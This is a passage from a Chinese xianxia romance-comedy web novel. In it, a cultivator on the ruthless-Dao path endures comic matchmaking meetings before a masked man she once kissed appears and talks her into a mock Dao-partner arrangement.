冰冷柔软的唇瓣相触,血腥气里夹杂着不容拒绝的强势。
谢灼的瞳孔骤然放大,脑中“轰”的一声,一片空白。
7. 蓝月
月明星稀,夜色寥落。
沈祭雪最后一丝力气仿佛都耗在了那个突兀的亲吻上,几乎是唇瓣相触的下一刻,她身体一软,整个人彻底昏死过去。
谢灼:“……”
真是……见了鬼了。
他僵硬地抱着怀里失去意识的人,面上表情堪称精彩纷呈。
想他在世间纵横逍遥几百年,何曾吃过这种亏。被人按在地上亲了又亲,亲完了对方还直接不省人事,活像他才是那个趁人之危的登徒子。
但眼下也没有别的办法,谢灼认命地叹了口气,费劲地先从这诡异境地里脱身。
而后小心地将沈祭雪移至一处平坦地面上。动作间难免触碰到她身上的伤口,指尖传来血迹的黏腻触感,让他忍不住蹙了蹙眉。
这人受伤甚重,不及时止血可能会没命。谢灼只能想办法撬开她紧抿的唇齿,将疗伤丹药喂下去,再用灵力催化药力。
折腾了大半夜,沈祭雪体内那股躁动的热意才渐渐平息,伤口开始愈合。
谢灼松了口气,叼着根不知从哪儿扯来的草杆,双手枕在脑后,躺在她身旁。
夜风拂过,带来潭水的寒气和草木的清香。
沈祭雪安静地睡着,呼吸平稳悠长,只是眉头还微微蹙着,仿佛昏沉中还在抵抗着什么。
谢灼忍不住偏过头,细细看她,越看越觉得自己像是踩中了一个埋藏多年,极其危险的陷阱。
就在这时,原本恢复平静的潭水再次翻涌起来。
谢灼坐起身,瞥向潭面,眼眸微眯,似乎早有预料。
一个身影踉跄着从深潭中爬了出来。
方才与沈祭雪争斗的水蛟竟化作了人形。身材高大魁梧,肌肉贲张,只可惜……面上鼻青脸肿,眼眶乌青一片,嘴角还渗着血丝,看上去颇为狼狈。
上半身赤裸着,一条青色蛟纹从胸口盘踞至腰际。墨绿色的长发湿漉漉地披散着,像是潭底飘摇的水草。
水蛟阴沉着脸,一瘸一拐地走到谢灼身边,二话不说,抬起脚,狠狠踹在他的小腿上。
“嘶!”谢灼猝不及防,叼着的草杆都掉了,拧起眉头捂着腿,“蓝月你有病啊?!”
“你才有病!你个缺了大德的混蛋!”
蓝月声音粗犷,大声嚷嚷起来,将林间栖息的飞鸟惊起一片。
“老子在潭底睡得好好的,就因为感应到你的气息,千辛万苦醒过来,就想看看你这消失了几百年的兄弟是不是诈尸了!
结果呢?刚冒个头,还没看清你是圆是扁,就被那个凶悍的女人按着一顿暴揍!你看看!你看看我这脸!都肿成这样了!”
他指着自己青紫交加的脸庞,跺了跺脚,溅起灰尘一片,气愤地补充道:“还有,别以为我不知道,她揍我的时候,你明明醒了,却还在那儿躺着看戏!
你个见色忘义,重色轻友的东西!你根本就没在乎过我这个好兄弟!”
谢灼被他吵得脑仁疼,揉了揉被震得发麻的耳朵,无奈地起身:“不然呢?我跳起来帮你一起打她?然后让她看清我的底细,像你一样被她那柄剑追着捅?
不是,蓝月,能不能稍微动动你的脑子想一想,我现在是什么身份,什么立场?”
蓝月微微一愣。
谢灼叹了口气,换上一副痛心疾首的表情,开始熟练地忽悠:
“所以说呢,按当时的情况,我没趁机上去帮她砍你,已经很顾念我们昔年一起偷鸡摸狗……呃,同游四海的情谊了。
我这是在教你,懂不懂?让你能学会主动知难而退。”
蓝月被他这番话噎得一下,低下头,试图思考其中的逻辑,迟疑地嘀咕道:“那,这……这算什么?是兄弟……就来砍我?”
谢灼欣慰地看着他,伸出手,拍了拍他结实的肩膀:“哎呀,差不多就这个意思。所以,蓝月啊,以后也别那么贪玩儿了,感觉不对就赶紧缩回你的潭底,别看到个人就瞎冒头。”
他顿了顿,语气稍肃,“还有,如果之后有人问起,今夜你没见过她,也没见过我。明白吗?”
蓝月郁闷地点点头,转身就走。
“诶,你先等等。”谢灼忽而出声唤住他,从腰间取出那株息梦草,随手抛了过去,“这个你拿着。”
“息梦草?”蓝月眼睛一亮,伸手接住,“居然还真被你找到了!这玩意儿不是能安神定魂,助你……呃……”
他话说到一半,忽然意识到什么,猛地看向谢灼,又看看地上昏睡的沈祭雪,脸上罕见的露出一丝迟疑。
“你不是说……这草是为你自己寻来,镇压……那个什么的吗?”
谢灼顺着他的目光,看向沈祭雪。静默片刻,心中那种复杂难言的情绪又悄然浮现。
“嗯,本来是。”他的声音听起来很平淡,“现在……不需要了。”
蓝月一脸懵:“不需要了?为什么?”
“哪那么多为什么?”谢灼打断他,轻声道,“给你了你就拿着。”
蓝月握着息梦草,看看谢灼,又看看沈祭雪,似懂非懂,但宝物到手总是开心的。
他嘟囔了一句“奇奇怪怪”,也不再追问,噗通一声又扎回了深潭里。
谢灼看着恢复平静的潭面,摇了摇头,重新躺了回去,睁眼望着天色。
约莫过了一个时辰,晨曦穿透薄雾,于山林间洒下柔和的光芒,驱散了夜的寒凉。
沈祭雪睫羽颤了颤,缓缓睁开了眼睛。
意识回笼的瞬间,身上传来的并非预想中的剧痛,而是奇异的通透轻盈,灵台一片清明。
她尝试着地动了动手指,运转灵力,发现原本枯竭的经脉中重新流淌着充沛的灵元。伤口也已悉数愈合,连一丝疤痕都未曾留下。
沈祭雪沉默思索片刻,又闭上了眼。
昨夜的记忆纷至沓来。
竭尽全力的搏杀,幻术的消退,谢灼惊愕的眼神,蛟血带来的灼热躁动,以及……她将他推倒在地,扯落了他的面具……
沈祭雪的身体猛地一僵。
她倏然坐起身,转过头看向身旁那个红衣身影。
好巧不巧,谢灼正歪着头看她,不知何时又带上了那张银质面具,一副懒洋洋没睡醒的模样,眸光闪烁不定。
又做贼心虚般,在她看过来时,迅速移开了目光。
四目相对,空气有片刻的凝滞。
沈祭雪抿了抿唇,斟酌着开口:“昨夜……”
谢灼一拍脑门,抢先开口,语速飞快,试图掌握主动权:“哎呀,那个……昨夜之事,纯属意外,形势所迫,情非得已。
道友放心,我们也算是同生共死过的过命交情,亲一口,不算什么,真的不算什么!
你可千万别往心里去!千万不要自责!也千万不用负责!我不介
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意,一点也不介意!”
沈祭雪心中原本残留的歉意与尴尬,被他这番急于撇清的话说得烟消云散,取而代之的是莫名的头痛以及……无语。
不过,既然话都说到这份上了……
沈祭雪看着他,平静地点了点头:“嗯,我知道了。”
谢灼:“……”
……没了?
昨夜他预想了她醒来后,可能会恼怒,会羞愤,甚至会直接拔剑,杀了他灭口。却唯独没料到她是这般平静,甚至……漠然。
沈祭雪站起身,灵力流转,身上破损的夜行衣被震开,化成一条干净的素白长裙。她随手将长发挽起,用一根玉簪固定,而后看了他一眼,淡淡道:“走吧。”
她毕竟出自合欢宗,虽自身修习的是无情道,但宗门内双修秘法,露水情缘比比皆是,她对男女情爱之事见得多了,远比常人看得开。
亲了就亲了,的确没什么大不了。
……更何况,那种情况下,吃亏的又不是她。
谢灼见她当真毫不在意,心中的异样感反而越来越深。心尖像是被什么东西挠了一下,不疼不痒,但让人莫名烦躁。
他磨了磨后槽牙,也站了起来,唇边扯出一抹笑:“道友说的是。”
寻竹城,客栈。
沈二十三在房间里急得团团转,师姐一夜未归,她几乎未曾合眼,各种不好的猜测在脑子里转来转去,越想越心焦。
“吱呀——”
房门被推开的声音让她吓了一跳,愣了片刻,随即冲了过去,而后整个人又僵在了原地。
“呃,那个,师姐,你的脸……?”沈二十三好不容易找回自己的声音。
“无事。只是幻术失效了。”沈祭雪进入屋内,关上门,将她从头到脚打量一番,略微放下心,“月魄凝霜已到手,准备一下,我们即刻回去。”
“啊?哦!好!”沈二十三回过神来,连忙点头,手忙脚乱地开始收拾包裹。
就在这时,客栈房门又被轻轻敲响。
沈祭雪微一回眸,凝神感知了一下门外气息,缓缓将门拉开一道缝隙。
门外站着一位白衣男子,身姿挺拔,气质温润,正是洛逢春。
他看清沈祭雪的脸,微微一愣,后退半步,拱手行礼,道:“抱歉,我是为寻合欢宗的沈姑娘而来,不过,似乎寻错了地方。”
沈祭雪:“……”
谦谦君子,温润有礼,就是眼神不太好。
她懒得解释,也无意在此刻暴露身份,只压低了声音,含混道:“她此刻不在。不知道友有何事,我或可代为转达。”
洛逢春闻言,眼眸弯了弯,声音温和:“无甚要事,只是昨日与沈姑娘有些许误会,今日想着来寻她赔罪。既然她不在,那便不打扰了。”
他说着,再次拱手准备告辞。
沈祭雪微微垂眸,指尖轻轻一动。那枚白脂玉佩重又回到了洛逢春腰间悬空的丝绦之间。
洛逢春转身离去,似乎并未察觉身上多了什么。
沈祭雪面无表情地关上门。
走廊另一端,洛逢春走下楼梯,恰巧遇见了前来寻他的凌云宗弟子。
“洛师兄,玉佩呢?寻到了吗?”凌云宗弟子关切地问。
洛逢春抬手摸向腰间,轻笑一声,目光扫过楼上那扇紧闭的房门。
“自然是,寻到了。”
8. 相看
合欢宗坐落于南疆,宗内大小共计一十二座山峰,翠屏叠嶂,云雾缭绕,一派风流旖旎景象。
宗内弟子多以双修之法入道,讲究的是恣意纵情,魅惑天成。故而每一座山峰,无不莺声燕语,媚色生香,业绩斐然。
所谓业绩,自然是看能勾得多少修士魂牵梦萦,或是引得多少英才俊杰拜倒在石榴裙下,祈求哀怜,共参欢愉。
当然,这些与排行最末的沉鱼峰没什么关系。
作为业绩常年垫底,且穷得荡气回肠的师门之耻,沉鱼峰上弟子出门,提一句自己是合欢宗的,都算是玷污了师门的赫赫威名。
究其根源,问题全出在峰主沈荷身上。
沈荷此人,年岁不详,据说来自某江。外貌瞧着不过二十出头,容貌清丽柔弱,眉宇间总笼着一抹病气,身子骨薄弱,风一吹就能倒。
但在宗内却是个有口皆碑的奇女子。
她对合欢宗那一套堪称一窍不通,也毫无兴趣。人生三大爱好是:拨算盘,捡孩子,以及给峰上所有活物做媒。
从她捡回来的弟子到后山开了灵智的野兔野猪,都在她的姻缘撮合名单上。
不过捡回来的弟子虽多,但大部分到了通晓人事的年岁,都不愿意留在合欢宗。
是以这些年,常住在沉鱼峰上的,连带沈荷,沈祭雪,沈二十三在内,统共也就六个人。
二师兄沈溪,三十多岁,身形清瘦,面容平庸。负责峰内一切杂务,性格温吞,厨艺高明。
沈二十五和沈二十六,是一对十二三岁的双胞胎兄弟,正处于猫嫌狗厌的年纪,整日上蹿下跳,拆家本领一流,功课一塌糊涂。
再加上一间灶房,六间卧房,一间丹药房,就是沉鱼峰的全部家当。
数日前,山下疫病蔓延。
沈荷忧心忡忡,听闻山下多了许多被遗弃的婴孩,冒着大雨冲下山。
孩子没捡回来,自己却染上了极为凶险的疫病,九死一生,躺在床上气息奄奄。
沉鱼峰上愁云惨淡。正因如此,沈祭雪才第一次接下了青山宴的请柬。
沈祭雪带着沈二十三风尘仆仆赶回峰时,沈溪正坐在药炉前煎药,药吊子咕嘟咕嘟地冒着热气,闻起来苦涩不已。
双胞胎为了谁去给师父送药打得不可开交,差点掀翻屋顶。看到沈祭雪和沈二十三回来,又连忙咋咋呼呼地冲了出去。
“师姐,师姐!你们可回来了!”沈二十五一把扯开和自己扭打在一起的双胞胎兄弟,“药呢?药拿到了吗?”
沈溪从药炉边探出半个脑袋,看了看,朝她们笑着打了个招呼,就又缩了回去。
沈祭雪向双胞胎点点头,从怀中取出月魄凝霜,交给沈溪去煎药。
接下来的时日里,沈二十三负责管束双胞胎,逼他们写字练功。沈溪则日夜不休地守着药炉,偶尔落泪叹气。沈祭雪照看沈荷服药。
如此这般,半月过去。
月魄凝霜到底是疗伤灵药,几服药一饮,沈荷身上骇人的青黑疫气一点点消褪,脸颊也渐渐恢复了血色。
这日清晨,她睫羽颤动了几下,终于缓缓睁开了眼睛。
“师父!”守在一旁的沈二十三惊喜地叫出声。
沈溪闻声快步进来,身后跟着探头探脑的双胞胎。沈祭雪正端着一碗药进来,见状脚步微微一顿,面上神情柔和下来,悄然松了口气。
“我……睡了多久?”沈荷声音虚弱。
“半个多月了,师父,呜呜呜,可吓死我们了!”沈二十三眼圈一红,泪水在眼中打转,把头埋在她身上,呜呜哭出声来。
沈溪温声道:“好了好了,师父刚醒,二十三,你别哭了。先让师父吃药吧。”
说着,上前将她拉起,站到一旁,又看了看沈祭雪。
沈祭雪走上前,将沈荷扶起,端着药坐在床沿。
沈荷的目光落在沈祭雪脸上,忽然笑了笑,声音虽轻,却隐隐带着欣慰:“小祭啊,……还记得我从山下江边捡到你那会儿,你便是这般模样。
这都多少年过去了,你竟还是这般模样,一丝都没变。”
沈祭雪喂药的手微微一顿,眼睫低垂,掩去眸中极淡的怅然:“嗯,许是功法缘故吧。”
沈荷轻轻叹道:“时间过得真快啊……”
屋内安静了一瞬。
沈祭雪放下碗,警觉地盯着她。
沈二十三和沈溪交换了一个眼神,心照不宣地没有接话。
双胞胎对视一眼,难得地安静下来,扒着门框向屋内看。
果不其然,下一刻,沈荷猛地抓住沈祭雪的手腕,眼神灼灼:“既然时间过得快,那你更得抓紧了!
小祭,你看你年纪不小了,终身大事必须提上日程!我做媒做了半生,自己的弟子,岂能孤身终老?说出去让人笑话!”
沈祭雪:“……”
她就知道。
“师父,你的病才刚好……”
“胡说,我早好了,一直都很好,还是你的终身大事比较重要……”
“师父,你要不还是先把药喝了……”
“你的亲事不解决,我就不喝药……”
“师父,我修的是无情道。”沈祭雪深吸一口气,仍然试图讲道理。
天道谕令,修无情道者,若要飞升,需杀夫证道。
但修道之人亦非草木,对所爱之人难下杀手。是以这些年,修无情道的虽多,成功飞升的却寥寥无几。
“那怎么了?”沈荷咳嗽了两声,“凡尘人世三千客,万一就有人愿意为你的大道献身呢?
而且,只要有真心,不辜负良人,感情是可以慢慢培养的!为师明日就为你挑几个不错的人选……”
沈祭雪试图抽回手,未果。沈荷看似柔弱,一旦涉及成亲之类的原则,力气大得惊人。
“师父,您现下不宜劳神。”
“为师费的最多的心神就是你的婚事!你看看,我这沉鱼峰上,沈溪,三十多了还不修边幅,年老色衰,哪家姑娘还看得上……”
沈溪咬紧牙关,默默低头,觉得自己应该在地底。
“二十三,年龄是够了,可心智未到,除了吃的什么也看不上……”
沈二十三点了点头,决定在师父面前一辈子这么装下去。
“二十五,二十六年龄又太小。为师就只能指望你了啊……”
在沈荷那情真意切,持续不断,苦口婆心的劝说言论的轰炸下,沈祭雪终于开始微微动摇。
当然,主要是她怕沈荷再这么激动下去,刚好的病又得复发。
“行,……我试试。”这四个字从沈祭雪齿缝里挤出来,效果堪比让她去死一死。
沈荷瞬间眉开眼笑,病气都褪去了几分:“好好好,为师这就去为你安排!”
次日一早,沈祭雪冷着一张脸,开始在堆积如山的相看请柬中挑选。沈二十三和沈溪在一旁看着她,不由得肃然起敬。
沈荷的人脉意外地广。相看地点更是五花八门,不是在城中茶楼,就是在某个风景还不错的河边,或者干脆
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就是隔壁山头热心道友的洞府里。
见的对象更是千奇百怪。
第一位是个体修道友,肌肉虬结,壮硕如牛,开口就是“我这身板,保证能抗住你证道那一剑,你放心砍!”
沈祭雪默默放下了茶杯,转身就走。
第二位是个符修,见到她后紧张得手抖。现场想画张定身符来展示才艺,结果误画成了爆破符,成功将自己炸得焦黑,顺带还炸了一座山头。
沈祭雪用剑气劈散了烟雾,心怀歉意,转身就走。
第三位是个自称诗画双绝的才子,非要为她抚琴一曲。结果魔音灌耳,方圆百里的鸟雀惊飞殆尽。
一曲终了,对方期待地向她问:“此曲可能打动道友?成婚后,我定日日为道友抚琴……”
沈祭雪沉默片刻,缓缓拔出了手中的剑。
第四位是个佛修,慈眉善目,双手合十,开口便是:“女施主,你我相逢即是有缘,不若共参佛法,早登极乐?”
沈祭雪开始认真思考杀夫证道,是否也算助人早登极乐。
最离谱的一位,是某个妖族的小少主,原型似乎是只孔雀。
初次见面就对着沈祭雪疯狂开屏,翠绿羽毛抖落了一地,并诚挚邀请她回族中和他一起孵蛋,共建美好未来。
沈祭雪微微一笑,点了一桌子炸蛋煎蛋烤蛋卤煮蛋,孔雀少主见状屏都没收拢,打着哆嗦跑了。
一连数日,毫无进展,沈祭雪周身的气压越来越低。沈溪和沈二十三远远看见师姐回来就躲着走,双胞胎更是噤若寒蝉。
沈荷却毫不气馁,拿着算筹日夜推演:“这个不行,定是时辰不对。下一个,下一个定然与你是天作之合!”
沈祭雪绝望闭眼,觉得自己应该从送药回来的那一天,就主动闭关一百年。
这一次约定相看的地点是村中一家古朴的酒肆。
沈祭雪到的时候,对方还没来。
她点了壶清茶,坐在靠窗的位置,看着窗外人来人往,眼神放空。思考着如何能在不气死师父的前提下,彻底终结这场闹剧。
脚步声自身后响起。
沈祭雪没回头,只淡淡道:“合欢宗,无情道,沈祭雪。”
“寻道侣并非我本意。道友若是怕死,就请回吧。”
来人却没像之前那些一样,冲上来或紧张或热情地自我介绍,只慢悠悠地踱着步。
而后只听“啪”地一声,一只骨节分明,修长有力的手,猛地按在了她面前的桌子上。
一个熟悉的,带着几分笑意的声音响起,语调拖长,似乎有些咬牙切齿:
“哟,好巧啊道友。相亲呢?”
沈祭雪缓缓抬眸。
映入眼帘的,是一身墨蓝衣袍。来人腰身劲瘦,银冠束着高马尾,一双流光潋滟的眼睛,银质面具遮住了上半张脸。
谢灼歪着头,唇角勾起,似笑非笑地看着她。
周遭喧嚣仿佛静止了一瞬。
沈祭雪看着他,极轻地挑了一下眉梢。
“你来这儿做什么?”
谢灼直起身,叹道:“找你负责啊。”
沈祭雪怀疑他脑子里哪根筋搭错了,提起茶壶,沏了一杯茶递了过去,“负责什么?”
谢灼盯着她的眼睛,睫羽微微颤动,答得理直气壮:“我怀孕了。”
沈祭雪:“……”
她觉得自己可能是在做梦。
谢灼接过茶,小心抿了一口,补充道:“你的。”
沈祭雪:“……?”
9. 道侣
沈祭雪沉默许久,艰难开口道:“你是男子,……对吧?”
谢灼:“……”
沈祭雪再接再厉,试图为他灌输常识:“男子是没办法怀孕的,你知道吧?”
谢灼:“……”
沈祭雪:“而且,就算你真的……”
她停顿片刻,开口确认道,“真的怀孕了,也不一定就是我的……你明白吗?”
谢灼破防地看着她,哀怨道:“所以,你宁愿同陌生人相看,也不要我和我的孩子了?”
“你还怀疑我怀的不是你的?除了你没人亲过我,我千里迢迢赶过来寻你,你还不想负责?”
沈祭雪:“……”
就在这微妙的僵持时刻,一个略显急促的脚步声由远及近,停在了他们的桌旁。
“请问……可是合欢宗的沈祭雪沈道友?”
一个穿着锦缎长袍,头戴玉冠的青年修士,手中拿一卷锦帛,有些不确定地看着沈祭雪,又疑惑地瞥了一眼站在桌前的谢灼。
“我是来相看的。”
正主来了。
沈祭雪移开了目光,向他微微颔首:“是我。”
她不着痕迹地将谢灼往旁边扯了扯,怕他又说出什么惊世骇俗的话。
谢灼看了她一眼,又看了他一眼,冷笑一声,转过身,极其自然地走到旁边那张空桌坐下,单手支颔,摆出了一副看热闹的架势。
沈祭雪:“……”
来相看的修士:“?”
他显然没遇到过这种场面,有些无措地看向沈祭雪。沈祭雪懒得解释,只淡淡道:“坐。”
修士这才忐忑地在她对面坐下,深吸一口气,努力忽视掉那存在感极强的旁观者,重整旗鼓,对着沈祭雪露出笑容。
“在下姓王,单名一个遴字,乃清河府人士,家中经营几处灵石矿脉,略有薄产。
久闻合欢宗仙子风姿绝世,魅术……呃,功法通玄,今日得见沈道友,果然……气质独特。”
他大概是没见过沈祭雪这种光是看脸色就能冻死人的合欢宗弟子,夸赞得十分艰难。
沈祭雪没接话,只端起茶杯抿了一口,微微挑眉,示意他继续。
王遴见她如此,似乎更紧张了,将手中锦帛双手奉上:“家中父母对在下的道侣一事极为慎重,这是他们的一些……小小要求,请沈道友过目。”
沈祭雪接过那卷锦帛,灵力微动,锦帛展开,密密麻麻的字迹瞬间映入眼帘。
沈祭雪的目光自上而下,依次扫过:
“需容貌昳丽,不可过于妖艳,亦不可过于清冷。”
“需性情温婉,笑不露齿,行不摇裙。需家世清白,非旁支庶出。”
“需修为相当,过高恐有压夫之嫌,过低则于后代不利。”
“需精通音律,至少能熟练演奏三种以上乐器。需厨艺精湛,尤其需擅长煲十种以上药膳滋补汤。”
“需每日早晚称赞夫君英明神武风度翩翩十次。需……”
林林总总,竟有不下两百条。
沈祭雪面无表情地看到最后,觉得识海里的剑意有些躁动。
她想砍人。
她缓缓放下锦帛,抬眸看向一脸期待的王遴,声音冷淡:“道友。”
“沈道友请讲!”王遴眼睛一亮,以为有戏。
“你可知,我修的是无情道。”
王遴愣了一下,显然没立刻反应过来这意味着什么。
他挠了挠头,目光中带着几分清澈的愚蠢,问道:“无情道?哦哦,听说过……那个,请问沈道友,修此道……是否是对行房事有影响?”
“……”
酒肆里的空气仿佛瞬间结了冰。
隔壁桌传来一声清晰的,被茶水呛到的咳嗽声。
沈祭雪终于确定,向这种人解释“杀夫证道”这种事不过是对牛弹琴。
还是直接拔剑更有效率。
眼看王遴性命堪忧,隔壁桌那位看戏的终于忍不住了。
谢灼站起身,走过来一把抽过沈祭雪手中那卷碍眼的锦帛,随手掂了掂,笑道:“我说这位……王道友是吧?你这要求写得,挺别致啊。”
王遴同她的交谈被打断,有些不悦:“阁下是?”
“我是她的朋友。”谢灼挑眉,开始信口胡诌,“这位道友,你有所不知。修无情道者,需绝情绝欲,剑气凛然。
你若惹怒了她,轻则修为尽废,重则……呵呵,剑气失控,怕是直接……”
他意有所指地往王遴脖颈处看一眼,眼神阴森,“咔嚓一下,身首异处。懂吗?”
王遴脸色一白,下意识地站起了身:“竟,竟如此凶险?”
“不然你以为无情道是干什么的?”谢灼见他相信了,语气越发夸张,“那可是要见血的!”
沈祭雪:“……”
两个神经病。
王遴被唬得一愣一愣的,看看沈祭雪,又看看谢灼,迟疑道:“可,可合欢宗不是……”
“合欢宗也有不小心练岔了的嘛!”谢灼打断他,叹了口气,语气忽然变得沉痛,“就像这位沈道友,唉,也是个可怜人……”
沈祭雪开始认真思考能不能在不捅死人的情况下,给这两人来个一剑双穿。
王遴被他绕得有点晕:“不是,先等等,你,你究竟是谁?为何对她如此了解?”
谢灼侧过头看了她一眼,语气里带上了几分自嘲,半真半假道:
“我是谁?我不过是个……没把握住机会,被某人冰冷的话语伤透了心,见不得别人也往火坑里跳的可怜人罢了。”
沈祭雪:“……”
王遴彻底惊呆了,看看谢灼,又看看神情微妙的沈祭雪,终于反应过来。
他的确对合欢宗的女弟子感兴趣,但绝不该是这般性情冷淡……还在外边欠下了风流债的。
“岂有此理!岂有此理!”
王遴猛地站起来,觉得自己受到了巨大的欺骗和羞辱,一把抢回自己的锦帛,指着沈祭雪,“你,你们合欢宗……简直……满嘴谎言,不知廉耻!”
说完,竟气得拂袖而去,还差点撞翻桌椅。
谢灼看着他那狼狈的背影,嗤笑一声,毫不客气地在那空出来的位子上坐下,与沈祭雪隔桌相望。
“好了,碍眼的走了。”他手肘撑在桌上,身体前倾,再次旧事重提,面具后的眼睛亮得惊人。
“怎么样,道友?现在能认真考虑一下我的话了吗?你看,除了能为你怀上孩子以外,我还很实用的。”
沈祭雪看着他,片刻后,才淡淡开口:“你真的怀孕了?”
“当然。”谢灼答得飞快,明显是瞎扯。
“方才为何要那么说?”
“哪句?说他要求多?还是说你要杀夫证道?”谢灼用指尖轻轻敲着桌面,“都是实话啊。难道道友看不上我,反而看上那种货色了?”
沈祭雪沉默地看着他,半晌,才缓缓道:“当初在崖底,是你自己说的,不必当真,无需负责。”
她记得清楚,那时因为蛟血,触碰他的方法确实……亲密了些。事后这人却早早同她划清了界限,生怕同她有牵扯。
谢灼被噎了一下,似乎有些理亏,但随即又理直气壮起来,声音里甚至带上了些许委屈:
“此一时彼一时啊道友,我现在已经有了孩子,好好的一个清白男儿,就这么被你白嫖了?不合适吧?总得给个说法不是?”
沈祭雪移开目光,看向窗外,声音清冷:“我无需道侣。”
“哎呀,巧了不是?”谢灼一拍桌子,声音愉悦起来,“我也不需要道侣。”
沈祭雪默默转回视线。
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谢灼将手按在自己的腰腹间,语气沉痛:“但我们的孩子不能没有爹娘啊……”
沈祭雪又默默把视线移到了窗外。
眼见装疯卖傻行不通了,谢灼凑近了些,压低声音,语气坦然:“道友,你不知道吧,其实我修的也是无情道。”
沈祭雪眸光蓦地一凝。
谢灼继续道:“而且吧,有算命的说了,我这无情道要想圆满飞升,需得杀妻证道。”
他摊了摊手,一副“你看这多巧”的表情,“你看,你需要杀夫,我需要杀妻。到时候谁先下手,各凭本事就是了。”
沈祭雪认真地打量着他,“你?你不是怕死吗?确定?”
谢灼低低地笑了一声,又凑近了些,隔着面具,目光定在了她脸上:
“来寻你之前,我去算命先生那算了算命数,他说我这命,克亲克友克自己,就是不怕克夫。道友不妨……试试?”
沈祭雪沉默着与他对视,觉得这人十有八九又在胡说八道。
可是……沈荷那边需要一个交代,而且比起之前那些奇葩,这人反而显得……格外清新脱俗,且省心。
至少他目标明确,规则清晰,对她也没有那些令人不适的期待。
“好。”良久,沈祭雪终于吐出一个字。
沉鱼峰一如既往……安静里透着点鸡飞狗跳的热闹。
沈祭雪带着谢灼刚踏上峰顶,就察觉气氛不对。
平时这个时候,双胞胎应该在追鸡撵狗,或者被沈二十三揪着耳朵训斥练功,沈溪应该在药田里忙活或者对着账本叹气。
但此刻,平台中央,却多了一架极尽奢华,由四只雪白灵鹤拉着的步辇。
步辇旁站着两排身着绯色衣裙,容貌姣好的弟子,神情倨傲。
一个穿着繁复衣裙,云鬓高耸,珠翠满头的女子,正站在沈荷的房门前。她容貌极美,但眉梢眼角带着些许不耐烦。
沈溪拦在门前,面色为难,沈二十三则沉默地站在沈溪身旁。双胞胎躲在沈二十三身后,互相做鬼脸。
那女子声音温温柔柔,言语间却带着刺,“……小师妹,你们沉鱼峰年年业绩垫底,拖后腿也就罢了。今年你怎么还各峰的账本都不想算了?总不能指望宗门白养着你们这一群废人吧?”
房内传来沈荷的声音:“师姐,我……”
就在这时,一个声音自众人身后响起:
“宗主好。”
柳烟闻声回头,只见沈祭雪不知何时站在她身后不远处,身边还站着一个身着墨蓝衣袍,戴着银质面具的男子。
柳烟叹了口气,敷衍道:“好什么好?你相看相到现在,可有一个成的?好好一个美人就因为修个无情道,吓跑了多少青年才俊?真是白瞎了这幅好皮囊。”
沈祭雪眼神冷了下去,正要开口。
谢灼道:“哎呀,原来这位就是合欢宗的宗主大人啊?失敬失敬。”
柳烟目光扫向谢灼,皱了皱眉:“你又是个什么东西?戴着个面具藏头露尾的,这里有你说话的份?”
“我?我不是东西,”谢灼从善如流,“我是她的道侣。”
他此话一出,不仅是柳烟,连沉鱼峰众人都惊呆了。
沈祭雪瞥了他一眼,倒也没否认。
柳烟上下打量着谢灼,心中微微有些惊讶,嘴上却不饶人:“道侣?呵呵,她一个修无情道的,你可知道跟她结为道侣的下场?你图什么啊?”
“知道啊,”谢灼答得诚恳,“不就是杀夫证道嘛?我乐意让她杀,宗主大人还有意见么?”
柳烟沉默地盯着谢灼,又看看沈祭雪,拧眉道:“若你是真心要与她结为道侣,那我这个做宗主的,也不能没有表示。来人!”
身后一名绯衣弟子立刻躬身应道:“峰主。”
“去把贺礼抬上来。”
10. 疫病
两名弟子应声而去,很快,抬来了两个沉甸甸的大箱子,“砰”地一声放在地上,溅起些许灰尘。
箱子打开。
刹那间,峰顶一片死寂。
那两大箱子里,整整齐齐码放的,不是灵石,不是法宝,而是琳琅满目的春|宫图册……以及一大堆惹眼的风月话本。
种类之齐全,内容之丰富,足以让自诩博览群书的人叹为观止。
柳烟看着沉鱼峰众人石化般的表情,微微一笑,声音越发温柔:
“不用谢,这些就当是给你们随的份子钱了。”
说完,她登上步辇,扬长而去。
双胞胎好奇地想凑过去看,被面红耳赤的沈二十三一手一个死死拽住。沈溪张大了嘴,半天合不拢,温吞的脸上满是震惊和无措。
谢灼回过神,摸了摸下巴,绕着那两箱书走了一圈,然后弯腰拿起一本封面最为火辣的画册,翻了两页,挑眉微笑。
他抬头,看向脸黑得几乎能滴水的沈祭雪,语气真诚:
“……道友,你们宗主的这份贺礼,别出心裁,情深意重啊。”
沈溪张了张嘴,看看箱子,又看看沈祭雪,最后望向沈荷紧闭的房门,结巴道:“这,这……宗主她……这礼实在是……有伤风化……”
谢灼实在没忍住,笑出了声。
沈祭雪冷冰冰地扫了他一眼:“你很感兴趣?”
“没有没有,好奇,纯粹是好奇。”谢灼从善如流地将书丢回箱子里,拍了拍手,唇边笑意却丝毫未减。
“道友难道就不好奇吗?”
“把这些东西收拾了。”沈祭雪不搭理他,转头对沈溪吩咐道,“搬去杂物间,用符咒封存。”
“啊?哦,哦,好的,师姐。”沈溪连忙应声,手忙脚乱地合上箱子盖。
见一切都收拾好了,沈二十三松了口气,放开手。双胞胎摆脱钳制,立刻好奇地围了过来,两双亮晶晶眼睛上下打量着谢灼。
“诶,你是谁?为什么要戴面具啊?是因为长得很好看所以不能随便给人看吗?”
“嘘,别瞎说,也有可能是长得太丑怕吓到咱们吧……”
谢灼蹲下身,与双胞胎平视,微微叹了口气:“那如果我长得特别丑怎么办?你们要把我赶下山么?”
沈二十五歪着头,认真地思考:“嗯……师父说,我们修道之人不应该在乎这个,应该在乎剑练得好不好。”
“那你剑练得好吗?”沈二十六追问。
“啊,这个,我不练剑。”谢灼语气诚恳。
沈祭雪:“……”
沈二十三向这边投来疑惑的目光。
沈祭雪揉了揉眉心,简单介绍:“谢灼。”
两个字,然后沉默。
“没了?”沈二十三眉头皱了起来,“师姐,他来历不明……”
“好了。”沈祭雪道,“不必纠结这些,你们该做什么就做什么。”
她的目光落在谢灼身上,“你,跟我来。”
她转身走向沈荷的房门,谢灼冲剩下几人耸耸肩,跟了上去。
双胞胎还想跟过去看热闹,被沈二十三一手一个拎走了。
沈荷的房间里弥漫着淡淡的药味。她半靠在榻上,脸色比之前好些。看到沈祭雪带着谢灼进来,目光在谢灼的面具上停留了一瞬。
“师父。”沈祭雪微微颔首。
“晚辈谢灼,见过沈峰主。”谢灼难得规规矩矩地行了个礼。
沈荷轻轻咳嗽了两声,温声道:“不必多礼。小祭,这位道友是……”
“我带来的。”沈祭雪言简意赅,“他会暂住一段时间。”
